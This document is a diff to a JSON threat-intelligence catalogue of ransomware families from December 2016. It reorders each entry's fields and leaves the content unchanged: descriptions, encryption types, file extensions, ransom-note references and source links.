- "uuid": "43bfbb2a-9416-44da-81ef-03d6d3a3923f"
+ "uuid": "43bfbb2a-9416-44da-81ef-03d6d3a3923f",
+ "value": "BadEncript Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The name of the creator is puff69.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/adamlocker-ransomware.html"
- ],
- "ransomnotes": [
- "https://3.bp.blogspot.com/-9IgXt6L0hLY/WGARdzJgfvI/AAAAAAAACyQ/1bfnX_We65AirDcAFpiG49NPuBMfGH9wwCLcB/s1600/note-adam.jpg"
- ],
+ "date": "December 2016",
"encryption": "AES",
"extensions": [
".adam"
],
- "date": "December 2016"
+ "ransomnotes": [
+ "https://3.bp.blogspot.com/-9IgXt6L0hLY/WGARdzJgfvI/AAAAAAAACyQ/1bfnX_We65AirDcAFpiG49NPuBMfGH9wwCLcB/s1600/note-adam.jpg"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/adamlocker-ransomware.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The name of the creator is puff69.",
- "value": "AdamLocker Ransomware",
- "uuid": "5e7d10b7-18ec-47f7-8f13-6fd03d10a8bc"
+ "uuid": "5e7d10b7-18ec-47f7-8f13-6fd03d10a8bc",
+ "value": "AdamLocker Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware poses as Windows 10 Critical Update Service. Offers you to update your Windows 10, but instead encrypts your files. For successful attack, the victim must have .NET Framework 4.5.2 installed on him computer.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/alphabet-ransomware.html",
- "https://twitter.com/PolarToffee/status/812331918633172992"
- ],
- "ransomnotes": [
- "https://1.bp.blogspot.com/-bFPI3O1BI3s/WGPpvnDvNNI/AAAAAAAAC10/mLUiFOCWnEkjbV91PmUGnc3qsFMv9um8QCLcB/s1600/wallp.jpg"
- ],
+ "date": "December 2016",
"encryption": "AES",
"extensions": [
".alphabet"
],
- "date": "December 2016"
+ "ransomnotes": [
+ "https://1.bp.blogspot.com/-bFPI3O1BI3s/WGPpvnDvNNI/AAAAAAAAC10/mLUiFOCWnEkjbV91PmUGnc3qsFMv9um8QCLcB/s1600/wallp.jpg"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/alphabet-ransomware.html",
+ "https://twitter.com/PolarToffee/status/812331918633172992"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware poses as Windows 10 Critical Update Service. Offers you to update your Windows 10, but instead encrypts your files. For successful attack, the victim must have .NET Framework 4.5.2 installed on him computer.",
- "value": "Alphabet Ransomware",
- "uuid": "dd356ed3-42b8-4587-ae53-95f933517612"
+ "uuid": "dd356ed3-42b8-4587-ae53-95f933517612",
+ "value": "Alphabet Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread by its creator in forums. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files and documents and more. The ransom is 0.1 bitcoins within 72 hours. Uses Windows Update as a decoy. Creator: Talnaci Alexandru",
"meta": {
- "synonyms": [
- "KokoLocker Ransomware"
+ "date": "December 2016",
+ "encryption": "AES",
+ "extensions": [
+ ".kokolocker"
+ ],
+ "ransomnotes": [
+ "https://4.bp.blogspot.com/-NiQ6rSIprB8/WF-uxTMq6hI/AAAAAAAACyA/tA6qO3aJdGc0Dn_I-IOZOM3IwN5rgq9sACLcB/s1600/note-koko.jpg"
],
"refs": [
"https://id-ransomware.blogspot.co.il/2016/12/kokokrypt-ransomware.html",
"http://removevirusadware.com/tips-for-removeing-kokokrypt-ransomware/"
],
- "ransomnotes": [
- "https://4.bp.blogspot.com/-NiQ6rSIprB8/WF-uxTMq6hI/AAAAAAAACyA/tA6qO3aJdGc0Dn_I-IOZOM3IwN5rgq9sACLcB/s1600/note-koko.jpg"
- ],
- "encryption": "AES",
- "extensions": [
- ".kokolocker"
- ],
- "date": "December 2016"
+ "synonyms": [
+ "KokoLocker Ransomware"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread by its creator in forums. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files and documents and more. The ransom is 0.1 bitcoins within 72 hours. Uses Windows Update as a decoy. Creator: Talnaci Alexandru",
- "value": "KoKoKrypt Ransomware",
- "uuid": "d672fe4f-4561-488e-bca6-20385b53d77f"
+ "uuid": "d672fe4f-4561-488e-bca6-20385b53d77f",
+ "value": "KoKoKrypt Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 0.5 bitcoins. The name of the creator is staffttt, he also created Fake CryptoLocker",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/l33taf-locker-ransomware.html"
+ "date": "December 2016",
+ "encryption": "AES-256+RSA",
+ "extensions": [
+ ".l33tAF"
],
"ransomnotes": [
"YOU_HAVE_BEEN_HACKED.txt",
"https://2.bp.blogspot.com/-yncl7-Jy198/WGDjdgNKXjI/AAAAAAAACzA/bfkDgwWEGKggUG3E1tgPBAWDXwi-p-7AwCLcB/s1600/note_2.png"
],
- "encryption": "AES-256+RSA",
- "extensions": [
- ".l33tAF"
- ],
- "date": "December 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/l33taf-locker-ransomware.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 0.5 bitcoins. The name of the creator is staffttt, he also created Fake CryptoLocker",
- "value": "L33TAF Locker Ransomware",
- "uuid": "791a6720-d589-4cf7-b164-08b35b453ac7"
+ "uuid": "791a6720-d589-4cf7-b164-08b35b453ac7",
+ "value": "L33TAF Locker Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam (for example: “you have a criminal case against you”), fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "synonyms": [
- "PClock SysGop Ransomware"
+ "date": "December 2016",
+ "encryption": "AES-256+RSA",
+ "ransomnotes": [
+ "https://4.bp.blogspot.com/-T9Mt0pE7kwY/WF7NKAPfv1I/AAAAAAAACxw/gOjxeSR0x7EurKQTI2p6Ym70ViYuYdsvQCLcB/s1600/note_2.png"
],
"refs": [
"https://id-ransomware.blogspot.co.il/2016/12/pclock4-sysgop-ransomware.html"
],
- "ransomnotes": [
- "https://4.bp.blogspot.com/-T9Mt0pE7kwY/WF7NKAPfv1I/AAAAAAAACxw/gOjxeSR0x7EurKQTI2p6Ym70ViYuYdsvQCLcB/s1600/note_2.png"
- ],
- "encryption": "AES-256+RSA",
- "date": "December 2016"
+ "synonyms": [
+ "PClock SysGop Ransomware"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam (for example: “you have a criminal case against you”), fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "PClock4 Ransomware",
- "uuid": "b78be3f4-e39b-41cc-adc0-5824f246959b"
+ "uuid": "b78be3f4-e39b-41cc-adc0-5824f246959b",
+ "value": "PClock4 Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware uses VBS-script to send a voice message as the first few lines of the note.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/guster-ransomware.html",
- "https://twitter.com/BleepinComputer/status/812131324979007492"
- ],
- "ransomnotes": [
- "https://2.bp.blogspot.com/-0-kDVCM-kuI/WGVH-d2trGI/AAAAAAAAC4A/4LlxFpwkhEk89QcJ5ZhO1i-T6dQ_RcVegCEw/s1600/guster-note-2.jpg"
- ],
+ "date": "December 2016",
"encryption": "AES-256+RSA",
"extensions": [
".locked"
],
- "date": "December 2016"
+ "ransomnotes": [
+ "https://2.bp.blogspot.com/-0-kDVCM-kuI/WGVH-d2trGI/AAAAAAAAC4A/4LlxFpwkhEk89QcJ5ZhO1i-T6dQ_RcVegCEw/s1600/guster-note-2.jpg"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/guster-ransomware.html",
+ "https://twitter.com/BleepinComputer/status/812131324979007492"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware uses VBS-script to send a voice message as the first few lines of the note.",
- "value": "Guster Ransomware",
- "uuid": "ffa7ac2f-b216-4fac-80be-e859a0e0251f"
+ "uuid": "ffa7ac2f-b216-4fac-80be-e859a0e0251f",
+ "value": "Guster Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker requests the ransom in Play Store cards. https://3.bp.blogspot.com/-ClUef8T55f4/WGKb8U4GeaI/AAAAAAAACzg/UFD0X2sORHYTVRNBSoqd5q7TBrOblQHmgCLcB/s1600/site.png",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/roga-ransomware.html"
- ],
- "ransomnotes": [
- "https://2.bp.blogspot.com/-ZIWywQMf2mY/WGJD-rqLZYI/AAAAAAAACzQ/p5PWlpWyHjcVHKq74DOsE7yS-ornW48_QCLcB/s1600/note.jpg"
- ],
+ "date": "December 2016",
"encryption": "AES",
"extensions": [
".madebyadam"
],
- "date": "December 2016"
- },
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker requests the ransom in Play Store cards. https://3.bp.blogspot.com/-ClUef8T55f4/WGKb8U4GeaI/AAAAAAAACzg/UFD0X2sORHYTVRNBSoqd5q7TBrOblQHmgCLcB/s1600/site.png",
- "value": "Roga",
- "uuid": "cd1eb48e-070b-418e-8d83-4644a388f8ae"
- },
- {
- "meta": {
- "synonyms": [
- "Fake CryptoLocker"
+ "ransomnotes": [
+ "https://2.bp.blogspot.com/-ZIWywQMf2mY/WGJD-rqLZYI/AAAAAAAACzQ/p5PWlpWyHjcVHKq74DOsE7yS-ornW48_QCLcB/s1600/note.jpg"
],
"refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/cryptolocker3-ransomware.html"
- ],
- "ransomnotes": [
- "https://4.bp.blogspot.com/-LDSJ7rws1WI/WGDR-oDSshI/AAAAAAAACyw/_Kn0mnjpm2YN5tS9YldEnca-zOLJpXjcACLcB/s1600/crypto1-2.gif"
- ],
+ "https://id-ransomware.blogspot.co.il/2016/12/roga-ransomware.html"
+ ]
+ },
+ "uuid": "cd1eb48e-070b-418e-8d83-4644a388f8ae",
+ "value": "Roga"
+ },
+ {
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Creator is staffttt and the ransom is 0.5 botcoins.",
+ "meta": {
+ "date": "December 2016",
"encryption": "AES-128+RSA",
"extensions": [
".cryptolocker"
],
- "date": "December 2016"
+ "ransomnotes": [
+ "https://4.bp.blogspot.com/-LDSJ7rws1WI/WGDR-oDSshI/AAAAAAAACyw/_Kn0mnjpm2YN5tS9YldEnca-zOLJpXjcACLcB/s1600/crypto1-2.gif"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/cryptolocker3-ransomware.html"
+ ],
+ "synonyms": [
+ "Fake CryptoLocker"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Creator is staffttt and the ransom is 0.5 botcoins.",
- "value": "CryptoLocker3 Ransomware",
- "uuid": "4094b021-6654-49d5-9b80-a3666a1c1e44"
+ "uuid": "4094b021-6654-49d5-9b80-a3666a1c1e44",
+ "value": "CryptoLocker3 Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is 1.0 bitcoins.",
"meta": {
+ "date": "December 2016",
+ "encryption": "AES",
+ "extensions": [
+ ".crypted"
+ ],
+ "ransomnotes": [
+ "https://3.bp.blogspot.com/-TkMikT4PA3o/WFrb4it2u9I/AAAAAAAACww/_zZgu9EHBj8Ibar8i5ekwaowGBD8EoOygCLcB/s1600/note.jpg"
+ ],
"refs": [
"https://id-ransomware.blogspot.co.il/2016/12/proposalcrypt-ransomware.html",
"http://www.archersecuritygroup.com/what-is-ransomware/",
"https://twitter.com/demonslay335/status/812002960083394560",
"https://twitter.com/malwrhunterteam/status/811613888705859586"
- ],
- "ransomnotes": [
- "https://3.bp.blogspot.com/-TkMikT4PA3o/WFrb4it2u9I/AAAAAAAACww/_zZgu9EHBj8Ibar8i5ekwaowGBD8EoOygCLcB/s1600/note.jpg"
- ],
- "encryption": "AES",
- "extensions": [
- ".crypted"
- ],
- "date": "December 2016"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is 1.0 bitcoins.",
- "value": "ProposalCrypt Ransomware",
- "uuid": "4cf270e7-e4df-49d5-979b-c13d8ce117cc"
+ "uuid": "4cf270e7-e4df-49d5-979b-c13d8ce117cc",
+ "value": "ProposalCrypt Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker demands 0.2 bitcoins. The ransomware poses as a Window update.",
"meta": {
+ "date": "December 2016",
+ "encryption": "AES",
+ "ransomnotes": [
+ "https://3.bp.blogspot.com/-85wiBKXIqro/WFrFOaNeSsI/AAAAAAAACwA/UyrPc2bKQCcznmtLTFkEfc6lEvhseyRYACLcB/s1600/lock1.jpg"
+ ],
"refs": [
"https://id-ransomware.blogspot.co.il/2016/12/manifestus-ransomware.html",
"https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-23rd-2016-cryptxxx-koolova-cerber-and-more/",
"https://twitter.com/struppigel/status/811587154983981056"
- ],
- "ransomnotes": [
- "https://3.bp.blogspot.com/-85wiBKXIqro/WFrFOaNeSsI/AAAAAAAACwA/UyrPc2bKQCcznmtLTFkEfc6lEvhseyRYACLcB/s1600/lock1.jpg"
- ],
- "encryption": "AES",
- "date": "December 2016"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker demands 0.2 bitcoins. The ransomware poses as a Window update.",
- "value": "Manifestus Ransomware ",
- "uuid": "e62ba8f5-e7ce-44ab-ac33-713ace192de3"
+ "uuid": "e62ba8f5-e7ce-44ab-ac33-713ace192de3",
+ "value": "Manifestus Ransomware "
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The name of the hacker is humanpuff69 and he requests 0.5 bitcoins. The encryption password is based on the computer name",
"meta": {
- "synonyms": [
- "IDRANSOMv3",
- "Manifestus"
+ "date": "December 2016",
+ "encryption": "AES",
+ "extensions": [
+ ".fucked"
+ ],
+ "ransomnotes": [
+ "https://4.bp.blogspot.com/-owEtII_eezA/WFmOp0ccjaI/AAAAAAAACvk/gjYcSeflS4AChm5cYO5c3EV4aSmzr14UwCLcB/s1600/enc100.gif"
],
"refs": [
"https://id-ransomware.blogspot.co.il/2016/12/enkripsipc-ransomware.html",
@@ -2320,114 +2330,116 @@
"https://twitter.com/BleepinComputer/status/811264254481494016",
"https://twitter.com/struppigel/status/811587154983981056"
],
- "ransomnotes": [
- "https://4.bp.blogspot.com/-owEtII_eezA/WFmOp0ccjaI/AAAAAAAACvk/gjYcSeflS4AChm5cYO5c3EV4aSmzr14UwCLcB/s1600/enc100.gif"
- ],
- "encryption": "AES",
- "extensions": [
- ".fucked"
- ],
- "date": "December 2016"
+ "synonyms": [
+ "IDRANSOMv3",
+ "Manifestus"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The name of the hacker is humanpuff69 and he requests 0.5 bitcoins. The encryption password is based on the computer name",
- "value": "EnkripsiPC Ransomware",
- "uuid": "52caade6-ba7b-474e-b173-63f4332aa808"
+ "uuid": "52caade6-ba7b-474e-b173-63f4332aa808",
+ "value": "EnkripsiPC Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. So far the victims are from Belarus and Germany.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/braincrypt-ransomware.html"
+ "date": "December 2016",
+ "encryption": "AES",
+ "extensions": [
+ ".braincrypt"
],
"ransomnotes": [
"https://1.bp.blogspot.com/-KrKO1vYs-1w/WFlw6bOfI_I/AAAAAAAACug/42w1VSl2GIoxRuA2SPKJr6xYp3c4OBnJQCLcB/s1600/note_2.png",
"https://3.bp.blogspot.com/-8bxTSAADM7M/WFmBEu-eUXI/AAAAAAAACvU/xaQBufV5a-4GWEJhXj2VVLqXnTjQJYNrwCLcB/s1600/note-brain2.jpg"
],
- "encryption": "AES",
- "extensions": [
- ".braincrypt"
- ],
- "date": "December 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/braincrypt-ransomware.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. So far the victims are from Belarus and Germany.",
- "value": "BrainCrypt Ransomware",
- "uuid": "ade6ec5e-e082-43cb-9b82-ff8c0f4d7e56"
+ "uuid": "ade6ec5e-e082-43cb-9b82-ff8c0f4d7e56",
+ "value": "BrainCrypt Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 0.2 bitcoins.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/msn-cryptolocker-ransomware.html",
- "https://twitter.com/struppigel/status/810766686005719040"
- ],
+ "date": "December 2016",
+ "encryption": "AES",
"ransomnotes": [
"https://2.bp.blogspot.com/-R-lKbH_tLvs/WGPRa-hCtqI/AAAAAAAAC1Y/zgKYZmys_jciaYhtTUsVLen5IHX8_LyiACLcB/s1600/note_2.png",
"RESTORE_YOUR_FILES.txt"
],
- "encryption": "AES",
- "date": "December 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/msn-cryptolocker-ransomware.html",
+ "https://twitter.com/struppigel/status/810766686005719040"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 0.2 bitcoins.",
- "value": "MSN CryptoLocker Ransomware",
- "uuid": "7de27419-9874-4c3f-b75f-429a507ed7c5"
+ "uuid": "7de27419-9874-4c3f-b75f-429a507ed7c5",
+ "value": "MSN CryptoLocker Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is in the amount is 0.3 bitcoins. The ransomware is disguises themselves as Adobe Systems, Incorporated. RaaS",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/cryptoblock-ransomware.html",
- "https://twitter.com/drProct0r/status/810500976415281154"
- ],
+ "date": "December 2016",
+ "encryption": "RSA-2048",
"ransomnotes": [
"https://4.bp.blogspot.com/-4Y7GZEsWh7A/WFfnmQFF7nI/AAAAAAAACsQ/j3rXZmWrDxMM6xhV1s4YVl_WLDe28cpAwCLcB/s1600/001.jpg"
],
- "encryption": "RSA-2048",
- "date": "December 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/cryptoblock-ransomware.html",
+ "https://twitter.com/drProct0r/status/810500976415281154"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is in the amount is 0.3 bitcoins. The ransomware is disguises themselves as Adobe Systems, Incorporated. RaaS",
- "value": "CryptoBlock Ransomware ",
- "uuid": "7b0df78e-8f00-468f-a6ef-3e1bda2a344c"
+ "uuid": "7b0df78e-8f00-468f-a6ef-3e1bda2a344c",
+ "value": "CryptoBlock Ransomware "
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/aes-ni-ransomware.html"
+ "date": "December 2016",
+ "encryption": "AES-256 (ECB) + RSA-2048",
+ "extensions": [
+ ".aes256"
],
"ransomnotes": [
"!!! READ THIS -IMPORTANT !!!.txt",
"https://4.bp.blogspot.com/-GdF-kk1j9-8/WFl6NVm3PAI/AAAAAAAACvE/guFIi_FUpgIQNzX-usJ8CpofX45eXPvkQCLcB/s1600/note_2.png"
],
- "encryption": "AES-256 (ECB) + RSA-2048",
- "extensions": [
- ".aes256"
- ],
- "date": "December 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/aes-ni-ransomware.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "AES-NI Ransomware ",
- "uuid": "69c9b45f-f226-485f-9033-fcb796c315cf"
+ "uuid": "69c9b45f-f226-485f-9033-fcb796c315cf",
+ "value": "AES-NI Ransomware "
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker of this ransomware tends to make lots of spelling errors in his requests. With Italian text that only targets the Test folder on the user's desktop",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/koolova-ransomware.html",
- "https://www.bleepingcomputer.com/news/security/koolova-ransomware-decrypts-for-free-if-you-read-two-articles-about-ransomware/"
- ],
- "ransomnotes": [
- "https://2.bp.blogspot.com/-kz7PePfAiLI/WGTpY3us5LI/AAAAAAAAC3A/wu1rkx-BWlMzglJXXmCxeuYzbZKN5FP4gCLcB/s1600/koolova-v2.png"
- ],
+ "date": "December 2016",
"encryption": "AES-256",
"extensions": [
".encrypted"
],
- "date": "December 2016"
+ "ransomnotes": [
+ "https://2.bp.blogspot.com/-kz7PePfAiLI/WGTpY3us5LI/AAAAAAAAC3A/wu1rkx-BWlMzglJXXmCxeuYzbZKN5FP4gCLcB/s1600/koolova-v2.png"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/koolova-ransomware.html",
+ "https://www.bleepingcomputer.com/news/security/koolova-ransomware-decrypts-for-free-if-you-read-two-articles-about-ransomware/"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker of this ransomware tends to make lots of spelling errors in his requests. With Italian text that only targets the Test folder on the user's desktop",
- "value": "Koolova Ransomware",
- "uuid": "ff6b8fc4-cfe0-45c1-9814-3261e39b4c9a"
+ "uuid": "ff6b8fc4-cfe0-45c1-9814-3261e39b4c9a",
+ "value": "Koolova Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… The ransom is 1bitcoin.",
"meta": {
- "synonyms": [
- "Globe Imposter",
- "GlobeImposter"
+ "date": "December 2016",
+ "encryption": "AES",
+ "extensions": [
+ ".crypt",
+ ".emilysupp"
+ ],
+ "ransomnotes": [
+ "https://1.bp.blogspot.com/-F8oAU82KnQ4/WFWgxjZz2vI/AAAAAAAACrI/J76wm21b5K4F9sjLF1VcEGoif3cS-Y-bwCLcB/s1600/note.jpg",
+ "HOW_OPEN_FILES.hta"
],
"refs": [
"https://id-ransomware.blogspot.co.il/2016/12/fake-globe-ransomware.html",
@@ -2438,289 +2450,285 @@
"https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/",
"https://twitter.com/GrujaRS/status/1004661259906768896"
],
- "ransomnotes": [
- "https://1.bp.blogspot.com/-F8oAU82KnQ4/WFWgxjZz2vI/AAAAAAAACrI/J76wm21b5K4F9sjLF1VcEGoif3cS-Y-bwCLcB/s1600/note.jpg",
- "HOW_OPEN_FILES.hta"
- ],
- "encryption": "AES",
- "extensions": [
- ".crypt",
- ".emilysupp"
- ],
- "date": "December 2016"
+ "synonyms": [
+ "Globe Imposter",
+ "GlobeImposter"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… The ransom is 1bitcoin.",
- "value": "Fake Globe Ransomware",
- "uuid": "e03873ef-9e3d-4d07-85d8-e22a55f60c19"
+ "uuid": "e03873ef-9e3d-4d07-85d8-e22a55f60c19",
+ "value": "Fake Globe Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/v8locker-ransomware.html"
- ],
- "ransomnotes": [
- "https://3.bp.blogspot.com/-Acmbpw6fEaQ/WFUFKU9V9ZI/AAAAAAAACqc/47AceoWZzOwP9qO8uenjNVOVXeFJf7DywCLcB/s1600/note_2.png"
- ],
+ "date": "December 2016",
"encryption": "RSA",
"extensions": [
".v8"
],
- "date": "December 2016"
+ "ransomnotes": [
+ "https://3.bp.blogspot.com/-Acmbpw6fEaQ/WFUFKU9V9ZI/AAAAAAAACqc/47AceoWZzOwP9qO8uenjNVOVXeFJf7DywCLcB/s1600/note_2.png"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/v8locker-ransomware.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…",
- "value": "V8Locker Ransomware",
- "uuid": "45862a62-4cb3-4101-84db-8e338d17e283"
+ "uuid": "45862a62-4cb3-4101-84db-8e338d17e283",
+ "value": "V8Locker Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It SUPPOSEDLY encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc., however your files are not really encrypted, only the names are changed.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/cryptorium-ransomware.html"
- ],
- "ransomnotes": [
- "https://4.bp.blogspot.com/-I0fsQu2YXMI/WFLb9LPdkFI/AAAAAAAACoY/xqRhgO1o98oruVDMC6rO4RxCk5MFDSTYgCLcB/s1600/lock.jpg"
- ],
+ "date": "December 2016",
"encryption": "RSA",
"extensions": [
".ENC"
],
- "date": "December 2016"
+ "ransomnotes": [
+ "https://4.bp.blogspot.com/-I0fsQu2YXMI/WFLb9LPdkFI/AAAAAAAACoY/xqRhgO1o98oruVDMC6rO4RxCk5MFDSTYgCLcB/s1600/lock.jpg"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/cryptorium-ransomware.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It SUPPOSEDLY encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc., however your files are not really encrypted, only the names are changed.",
- "value": "Cryptorium (Fake Ransomware)",
- "uuid": "96bd63e5-99bd-490c-a23a-e0092337f6e6"
